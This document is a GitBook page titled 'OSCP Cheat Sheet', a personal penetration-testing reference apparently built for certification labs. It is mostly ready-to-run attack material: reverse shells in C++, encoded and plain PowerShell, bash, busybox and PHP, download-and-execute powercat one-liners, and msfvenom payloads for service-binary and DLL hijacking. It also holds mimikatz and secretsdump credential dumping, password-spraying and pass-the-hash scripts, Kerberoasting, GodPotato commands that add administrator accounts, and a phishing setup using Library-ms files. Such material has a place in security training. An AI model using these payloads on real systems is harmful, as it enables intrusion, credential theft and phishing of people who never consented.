> For the complete documentation index, see [llms.txt](https://maso-soup.gitbook.io/sec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://maso-soup.gitbook.io/sec/oscp-cheat-sheet.md). # OSCP Cheat Sheet ## Setting Up ### Download Binaries List of Binaries ``` GodPotato.exe PrintSpoofer.exe Powerview.ps1 Sharphound.ps1 fastscan.sh netspray.sh nethash.sh chisel chisel.exe chisel_amd64 ligolo-ng ligolo_agent_win.exe linpeas.sh winpeas.exe mimikatz.exe nc64-32.exe powercat.ps1 pspy64 wolfwebshell.php ``` ### Stand Up Python Server ``` python -m http.server 8000 ``` ### Stand up SMB Share ``` impacket-smbserver smbfolder . -smb2support -user mason -password mason ``` ### Stand up Chisel Server ``` chisel server --port 9999 --reverse ``` ### Stand up Webdav Server ``` wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root . ``` ## Enumerating Externally ### Port Scan #### Slow TCP Scan ``` nmap -sC -sV -p- -oN NAME 192.168.245.0/24 ``` #### Slow UDP Scan ``` nmap -sU --top-ports 500 192.168.245.0 ``` #### Fast TCP Scan ``` ./fastscan.sh 192.168.223.123 name ``` Contents: ``` #!/bin/bash echo "Running quick Nmap scan to detect open ports." nmap -Pn -T4 --max-retries 0 -p- -oN $2.quick $1 echo " " echo "Running deeper Nmap scan on detected open ports." nmap -sV -A -p $(grep open $2.quick | grep -v Warning | sed 's/ open //g'| awk -F '/' '{print $1}'|tr '\n' ',') -oN $2.full $1 echo " " echo "See below for a quick reference list of open ports and detected banners." grep open $2.full | grep -v Warning | sed 's/ open //g' ``` ### Check for Public Exploits ``` searchsploit key words ``` ### Check FTP #### FTP ``` ftp anonymous@192.168.245.249 14020 ``` #### Filezilla ``` filezilla anonymous@192.168.245.249 ``` ### Check SMB ``` smbclient -L 192.168.245.247 ``` Download from SMB share with: ``` get file.txt ``` SMBMap ``` smbmap -H 192.168.123.123 ``` ### Check Web Servers #### Quick Scan ``` gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirb/big.txt -o MS01 -x php,aspx ``` #### Comprehensive Scan ``` gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o MS01 -x php,aspx ``` #### Files Scan ``` gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirb/big.txt -o MS01 -x php,aspx ``` #### Follow Redirects and Ignore Bad Codes ``` gobuster dir -u http://192.168.223.156:8083/api/v1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o Frankfurt -r -k ``` ## Foothold on Windows ### Land as New User #### Check for privileges ``` whoami /priv ``` Looking for: ``` - SeImpersonatePrivilege - SeBackupPrivilege - SeAssignPrimaryToken - SeLoadDriver - SeDebug ``` #### Check for Interesting Files ``` Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.config,*.log,*.kdbx,*ini,*.ps1,*.exe,*.zip -File -Recurse -ErrorAction SilentlyContinue; ls C:\ ``` List files in small directories: ``` tree /F ``` Check history files: ``` (Get-PSReadlineOption).HistorySavePath cat FILE ls DIRECTORY ``` #### Useful Windows Binaries List of binaries: ``` winPEAS mimikatz GodPotato SharpHound PowerView PrintSpoofer ``` Download binaries onto machine: ``` cd C:\Users\Public; iwr -uri http://192.168.49.124:8000/winPEASx64.exe -Outfile winPEAS.exe; iwr -uri http://192.168.49.124:8000/mimikatz.exe -Outfile mimikatz.exe; iwr -uri http://192.168.49.124:8000/GodPotato-NET4.exe -Outfile GodPotato.exe; iwr -uri http://192.168.49.124:8000/SharpHound.ps1 -Outfile SharpHound.ps1; iwr -uri http://192.168.49.124:8000/PowerView.ps1 -Outfile powerview.ps1; iwr -uri http://192.168.49.124:8000/PrintSpoofer64.exe -Outfile print.exe; ``` #### Run and Review winPEAS ``` .\winPEAS.exe ``` #### Run and Review Sharphound If on a domain: ``` . .\SharpHound.ps1;Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\Public\ -OutputPrefix "WS26"; $pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.49.124\smbfolder;copy *BloodHound.zip \\192.168.49.124\smbfolder\ ``` ### Achieved Windows Admin #### Check for Interesting Files ``` Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.config,*.log,*.kdbx,*ini,*.ps1,*.exe,*.zip -File -Recurse -ErrorAction SilentlyContinue; ls C:\ ``` List files in small directories: ``` tree /F ``` #### Run and Review winPEAS ``` .\winPEAS.exe ``` ``` REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 ``` #### Check Mimikatz Check password hashes ``` .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit ``` Check Kerberos tickets ``` .\mimikatz "privilege::debug" "sekurlsa::tickets" exit ``` Dump hashes from SAM file on live machine ``` .\mimikatz "lsadump::sam /system:SYSTEM /sam:SAM" exit ``` Dump hashes from existing SAM and SYSTEM files ``` .\mimikatz "lsadump::sam /system:SYSTEM /sam:SAM" exit ``` ## Foothold on Linux ### Landed as User #### Run and Review linPEAS ``` wget http://192.168.49.104:8000/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh ``` Check env files, history files, Unknown SetUID files #### Check Processes ``` wget http://192.168.45.234:8000/pspy64; chmod +x pspy64; ./pspy64 ``` ### Achieved Admin #### Run and Review linPEAS ``` wget http://192.168.45.234:8000/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh ``` ## Pivoting ### Ligolo ``` sudo ip tuntap add user kali mode tun ligolo sudo ip link set ligolo up ``` ``` ./proxy -selfcert ``` Follow the instructions in article and compiling from scratch worked better than install via apt. Windows: ``` iwr -uri http://192.168.45.234:8000/ligolo_agent_win.exe -Outfile agent.exe; .\agent.exe -connect 192.168.45.234:11601 --ignore-cert ``` ``` session ``` ``` sudo ip route add 10.10.162.0/24 dev ligolo ``` Insert any other command here, using the IP without proxychains ``` impacket-mssqlclient sql_svc:'Dolphin1'@10.10.162.148 -windows-auth ``` Add listener for python server ``` listener_add --addr 0.0.0.0:7777 --to 127.0.0.1:8000 --tcp ``` Add listener for reverse shell ``` listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:443 --tcp ``` ### Chisel #### Windows Dynamic Port Forwarding ``` cd C:\Users\Public; iwr -uri http://192.168.49.104:8000/chisel.exe -Outfile chisel.exe; .\chisel.exe client 192.168.49.104:9999 R:socks ``` #### Linux Dynamic Port Forwarding ``` wget http://192.168.45.234:80/chisel_amd64; chmod +x chisel_amd64; ./chisel_amd64 client 192.168.45.234:9999 R:socks ``` ### SSH May be necessary to upgrade certain types of shells before using SSH ``` python3 -c 'import pty; pty.spawn("/bin/bash")' ``` #### Remote Port Forwarding Remote Port Forwarding (SSH from Kali to Pivot) ``` ssh web_svc@192.168.195.147 -D 9090 -R *:7777:localhost:7777 -R *:8888:localhost:8888 ``` Remote Port Forwarding (SSH from Pivot to Kali, I believe) ``` ssh kali@192.168.49.104 -D 9090 -R *:6666:localhost:6666 -R *:8888:localhost:8888 ``` #### Local Port Forwarding Local SSH port forward (this runs from a victim machine receiving connections looping back or going farther) ``` ssh -N -L 0.0.0.0:7777:127.0.0.1:80 ``` ## Download a file ### Windows #### Via SMB Authenticated ``` $pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.45.234\smbfolder;copy File.txt \\192.168.45.234\smbfolder\ ``` Unauthenticated ``` $pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.45.234\smbfolder;copy File.txt \\192.168.45.234\smbfolder\ ``` #### Download via PowerShell ``` iwr -uri http://192.168.45.234:8000/file.txt -Outfile file.txt ``` #### Via SCP ``` scp ./file.txt kali@192.168.45.234:/home/kali/exam1 ``` ## Hashcat Cracking #### KeePass ``` hashcat -m 13400 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ``` #### NTLM ``` hashcat -m 1000 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ``` #### Kerberos Check the prefixes of the hash and see what matches: ``` hashcat -h | grep -i kerberos ``` ``` hashcat -m XXXX jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ``` #### MD5 ``` hashcat -m 0 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ``` #### Unix Check the prefixes of the hash and see what matches: ``` hashcat -h | grep -i unix ``` ``` hashcat -m XXXX jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ``` ## Secretsdump Use impacket-secretsdump on SAM ``` impacket-secretsdump -system SYSTEM -sam SAM local ``` ## Guess Credentials ### Netexec User/Pass Works with single string values or text file lists. ``` netexec smb 172.16.206.0/24 -u user -p password --continue-on-success ``` Protocols included: ``` SMB SSH RDP WINRM FTP LDAP WMI VNC MSSQL ``` Don't forget about local accounts vs domain accounts with `--local-auth` flag. ### Netspray.sh User/Pass Wrapper around Netexec commands: ```bash ./netspray.sh 192.168.234.234 user password ``` Contents: ```bash #!/bin/bash echo "Testing SMB Connections with Domain Credentials" netexec smb $1 -u $2 -p $3 echo "Testing SMB Connections with Local Credentials" netexec smb $1 -u $2 -p $3 --local-auth echo "Testing SSH Connections" netexec ssh $1 -u $2 -p $3 echo "Testing RDP Connections with Domain Credentials" netexec rdp $1 -u $2 -p $3 echo "Testing RDP Connections with Local Credentials" netexec rdp $1 -u $2 -p $3 --local-auth echo "Testing WinRM Connections with Domain Credentials" netexec winrm $1 -u $2 -p $3 echo "Testing WinRM Connections with Domain Credentials" netexec winrm $1 -u $2 -p $3 --local-auth echo "Testing LDAP Connections" netexec ldap $1 -u $2 -p $3 echo "Testing FTP Connections" netexec ftp $1 -u $2 -p $3 echo "Testing WMI Connections" netexec wmi $1 -u $2 -p $3 echo "Testing VNC Connections" netexec vnc $1 -u $2 -p $3 echo "Testing MSSQL Connections" netexec mssql $1 -u $2 -p $3 ``` ### Netexec Hashes Works with single string values or text file lists. ```bash netexec smb 172.16.206.0/24 -u user -H SFSDFSDFSDFDSFSDFSDFSDF --continue-on-success ``` Protocols included: ``` SMB SSH RDP WINRM FTP LDAP WMI VNC MSSQL ``` Don't forget about local accounts vs domain accounts with `--local-auth` flag. ### NetHash.sh Hashes Wrapper around Netexec commands: ``` ./netspray.sh 192.168.234.234 user SDFSDFSDFSDFSDFDSF ``` Contents: ```bash #!/bin/bash echo "Testing SMB Connections with Domain Credentials" netexec smb $1 -u $2 -H $3 echo "Testing SMB Connections with Local Credentials" netexec smb $1 -u $2 -H $3 --local-auth echo "Testing SSH Connections" netexec ssh $1 -u $2 -H $3 echo "Testing RDP Connections with Domain Credentials" netexec rdp $1 -u $2 -H $3 echo "Testing RDP Connections with Local Credentials" netexec rdp $1 -u $2 -H $3 --local-auth echo "Testing WinRM Connections with Domain Credentials" netexec winrm $1 -u $2 -H $3 echo "Testing WinRM Connections with Domain Credentials" netexec winrm $1 -u $2 -H $3 --local-auth echo "Testing LDAP Connections" netexec ldap $1 -u $2 -H $3 echo "Testing FTP Connections" netexec ftp $1 -u $2 -H $3 echo "Testing WMI Connections" netexec wmi $1 -u $2 -H $3 echo "Testing VNC Connections" netexec vnc $1 -u $2 -H $3 echo "Testing MSSQL Connections" netexec mssql $1 -u $2 -H $3 ``` ## Use Credentials ### WinRM User/Pass ``` evil-winrm -i 172.16.206.247 -u user -p "password" ``` Hashes ``` evil-winrm -i 172.16.206.247 -u user -H 2892D26CDF84D7A70E2EB3B9F05C4266 ``` Upload or download ``` upload /home/kali/oscpa/winPEASx64.exe . ``` ### PsExec User/Pass ``` impacket-psexec domain.com/user:'password'@172.16.111.254 ``` Hashes ``` impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb0787704666 user@172.16.6.240 ``` ### SMBExec User/Pass ``` impacket-smbexec domain.com/user:'password'@172.16.111.254 ``` Hashes ``` impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb07877046b3 user@172.16.6.240 ``` ### WmiExec User/Pass ``` impacket-wmiexec domain.com/user:'password'@172.16.111.254 ``` Hashes ``` impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C4266 user@192.168.50.73 ``` ## Possible Phishing Create Library file: ``` @windows.storage.dll,-34582 6 true imageres.dll,-1003 {7d49d726-3c21-4f05-99aa-fdc2c9474656} true false http://192.168.45.234 ``` Create Shortcut file ``` powershell -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.176:8000/powercat.ps1');powercat -c 192.168.45.176 -p 443 -e powershell" ``` Send email: ``` sudo swaks -t jim@domain.com --from maildmz@domain.com --attach @config.Library-ms --server 192.168.196.189 --body @body.txt --header "Subject: Something Broke" --suppress-data -ap ``` ## Web Shell Payloads Download webshell ``` wget http://192.168.45.234:8000/wolfwebshell.php ``` ## Reverse Shell Payloads Use revshells.com first and foremost. ### Code #### C++ File ``` // ReverseShell.cpp : Defines the entry point for the console application. // #include "stdafx.h" #define _WINSOCK_DEPRECATED_NO_WARNINGS #include #include #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET s1; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO sui; PROCESS_INFORMATION pi; int _tmain(int argc, _TCHAR* argv[]) { WSAStartup(MAKEWORD(2, 2), &wsaData); s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); hax.sin_family = AF_INET; hax.sin_port = htons(4444); hax.sin_addr.s_addr = inet_addr("192.168.2.130"); WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui)); sui.cb = sizeof(sui); sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1; TCHAR commandLine[256] = L"cmd.exe"; CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); } ``` ### Windows #### PowerShell Encoded Encode the payload first: ``` $Text = '$client = New-Object System.Net.Sockets.TCPClient("10.10.162.147",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) $EncodedText =[Convert]::ToBase64String($Bytes) $EncodedText ``` Use the payload: ``` powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= ``` #### PowerShell Unencoded ``` powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.45.234',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` #### PowerShell with PowerCat ``` powershell -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.8.0.24:8000/powercat.ps1');powercat -c 10.8.0.24 -p 443 -e powershell" ``` #### Binary with MFSVenom Create Binary ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f exe -o reverse.exe ``` Search for payloads ``` msfvenom -l payloads --platform linux --arch x64 ``` ### Linux #### Bash ``` /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.234/443 0>&1' ``` #### Busybox ``` /bin/busybox nc 192.168.45.160 80 -e /bin/bash ``` ### PHP ``` /usr/bin/php -r '$sock=fsockopen("192.168.45.234",443);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ## Reviewing Git Data After navigating to repository, you can check status: ``` git status ``` Check the logs: ``` git log ``` Copy a commit from the git log, to see the difference: ``` git show 8b430c17c16e6c0515e49c4eafdd129f719fde66 ``` ## AS-REP Roasting Need working AD credentials first. Helps to check Bloodhound for possible targets. Use impacket to AS-REP roast user: ``` proxychains -q impacket-GetNPUsers -dc-ip 172.16.156.6 -request -outputfile michelle-asrep.hash domain.com/user ``` ## Kerberoasting Need working AD credentials first. Helps to check Bloodhound for possible targets. Use impacket to Kerberoast user: ``` proxychains -q impacket-GetUserSPNs -request -dc-ip 10.10.162.146 oscp.exam/user ``` ## Windows Service Binary Injection Watch for a recurring process for the service: ``` while (1) {get-process scheduler -ErrorAction SilentlyContinue; sleep 0.1} ``` View all services on the machine: ``` Get-CimInstance -ClassName win32_service | Select Name,State,PathName ``` Replace service binary with reverse shell: ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f exe -o reverse.exe ``` Stop, Start, or Restart services in Powershell: ``` Stop-Service scheduler ``` ## DLL Hijacking Move service binary to a windows machine and use ProcMon to review the DLLs being called. Once identified, replace vulnerable DLL with reverse shell and restart service binary. ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f dll -o Custom.dll ``` Custom compilation may be necessary, review course. ## SeImpersonate Privileges ### Using GodPotato Basic command syntax ``` .\GodPotato -cmd "cmd /c whoami" ``` Using a reverse shell: ``` iwr -uri http://192.168.45.234:8000/nc64-32.exe -Outfile nc.exe; .\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.45.234 8443" ``` Add user to an admin group: ``` .\GodPotato -cmd "cmd /c net localgroup administrators splunk /add" ``` Change user's password: ``` .\GodPotato -cmd "cmd /c net user damon mason" ``` May need this info for RDP group adding: ``` .\GodPotato -cmd "cmd /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f" ``` ``` .\GodPotato -cmd 'cmd /c netsh advfirewall firewall set rule group="remote desktop" new enable=Yes' ``` Add user and add them to admin group: ``` .\GodPotato -cmd "cmd /c net user mason mason /add" .\GodPotato -cmd "cmd /c net localgroup administrators mason /add" ``` ### PrintSpoofer ``` .\print.exe -i -c powershell.exe ``` ``` .\print.exe -c whoami ``` ## Databases ### MySQL/MariaDB Login: ``` sudo mysql -u root ``` ``` mysql -u user -p7NVLVTDGJ38HM2GG -h 127.0.0.1 ``` Dump the database: ``` .\mysqldump.exe -u root --all-databases -r db_backup.sql ``` Commands in the database: ``` create database hello ``` ``` use hello; ``` ``` source file.sql ``` ``` show databases; use froxlor; show tables; show columns from customers from oscdb; select customers_password from customers; ``` ## SNMP Look for interesting things with SNMPWalk ``` snmpwalk -v 2c -c public 192.168.208.149 NET-SNMP-EXTEND-MIB::nsExtendObjects ``` ## SharpGPOAbuse ``` .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount charlotte --GPOName "Default Domain Policy" --force ```